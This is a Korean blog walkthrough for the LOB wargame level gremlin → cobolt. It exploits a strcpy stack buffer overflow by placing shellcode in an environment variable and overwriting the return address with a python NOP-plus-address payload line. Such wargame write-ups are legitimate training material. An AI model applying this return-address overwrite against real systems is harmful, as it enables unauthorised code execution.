gremlin / hello bof world로 로그인
$bash2
cobolt.c 파일을 확인했다.
buffer를 16 할당받고 인자를 버퍼에 복사해 출력해주는 코드인 것 같다. gremlin 문제와 마찬가지로 strcpy함수때문에 bof 취약점이 발생할 수 있다.
일단 버퍼의 크기가 16바이트이므로 버퍼에 쉘코드는 넣을 수 없다. 환경변수를 이용해 문제를 풀어보자.
환경변수 등록 / 해제 방법
export 환경변수이름
unset 환경변수이름
shellcode 환경변수 설정
getenv 함수로 쉘 코드의 주소를 구할 것이다.
bfffff07
NOP 16byte + SFP 4byte + RET 4byte
16바이트와 SFP를 NOP로 덮고 RET을 환경변수 주소로 채워줄 것이다.
./cobolt `python -c 'print"\x90"*20 + "\x07\xff\xff\xbf"'`
공격에 성공했다!
'시스템 해킹 > LOB' 카테고리의 다른 글
[LOB] wolfman → darkelf (0) | 2021.02.22 |
---|---|
[LOB] orc → wolfman (0) | 2021.02.21 |
[LOB] goblin → orc (0) | 2021.02.21 |
[LOB] cobolt → goblin (0) | 2021.02.20 |
[LOB] gate → gremlin (0) | 2021.02.09 |